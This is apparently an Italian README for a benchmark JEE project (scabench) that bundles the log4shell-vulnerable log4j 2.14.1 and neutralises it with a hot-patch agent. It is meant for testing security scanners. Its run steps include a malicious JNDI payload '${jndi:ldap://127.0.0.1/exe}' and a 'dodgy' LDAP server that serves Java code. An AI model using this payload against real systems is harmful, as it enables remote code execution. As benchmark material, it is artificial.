
progetto web JEE con vulnerabilità log4shell (CVE-2021-44228) sanificata
Questo è un semplice progetto web con una vulnerabilità log4shell sanificata. Per una versione non sanificata, vedere https://github.com/scabench/l4j-tp1/.
Il progetto definisce un semplice servizio get scabench.HelloWorldService che restituisce una stringa di testo semplice hello world.
Il servizio non prevede parametri e, se vengono rilevati parametri, viene registrato un errore.
La dipendenza vulnerabile è org.apache.logging.log4j:log4j-core:2.14.1, la vulnerabilità è CVE-2021-44228.
Il progetto utilizza un agente costruito da Amazon quando è emerso log4shell e non era disponibile alcuna patch.
L'agente disabiliterà la classe vulnerabile org.apache.logging.log4j.core.lookup.JndiLookup.
L'uso dell'agente è imposto installando (ovvero allegando) l'agente dinamicamente quando viene caricato scabench.HelloWorldService (nel blocco statico della classe);
se ciò fallisce, l'applicazione si blocca. Ciò richiede che la JVM abiliti l'auto-allegamento dell'agente.
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar (il codice vulnerabile scaricherà il codice Java da questo server)http://localhost:8080/, questo sito contiene un modulo precompilato con un payload dannoso ${jndi:ldap://127.0.0.1/exe}foo sul server (come fa la versione non sanificata))Nota che quando si esegue l'applicazione, la seguente riga appare sulla console:
Transforming org/apache/logging/log4j/core/lookup/JndiLookup .
Ciò richiede unix o macos. È facile portare questo progetto su windows. Viene fornito un test unitario per dimostrare la vulnerabilità, la configurazione è la stessa usata in https://github.com/scabench/l4j-tp1/. A causa della sanificazione, il test ora fallisce.
Ci sono diversi script sh per eseguire diverse analisi, i report dei risultati si trovano in scan-results.
Il file pom.xml ha un plugin per generare un SBOM in formato CycloneDX.
Per farlo, eseguire mvn cyclonedx:makePackageBom, l'SBOM si trova in
target/ in formato json e xml.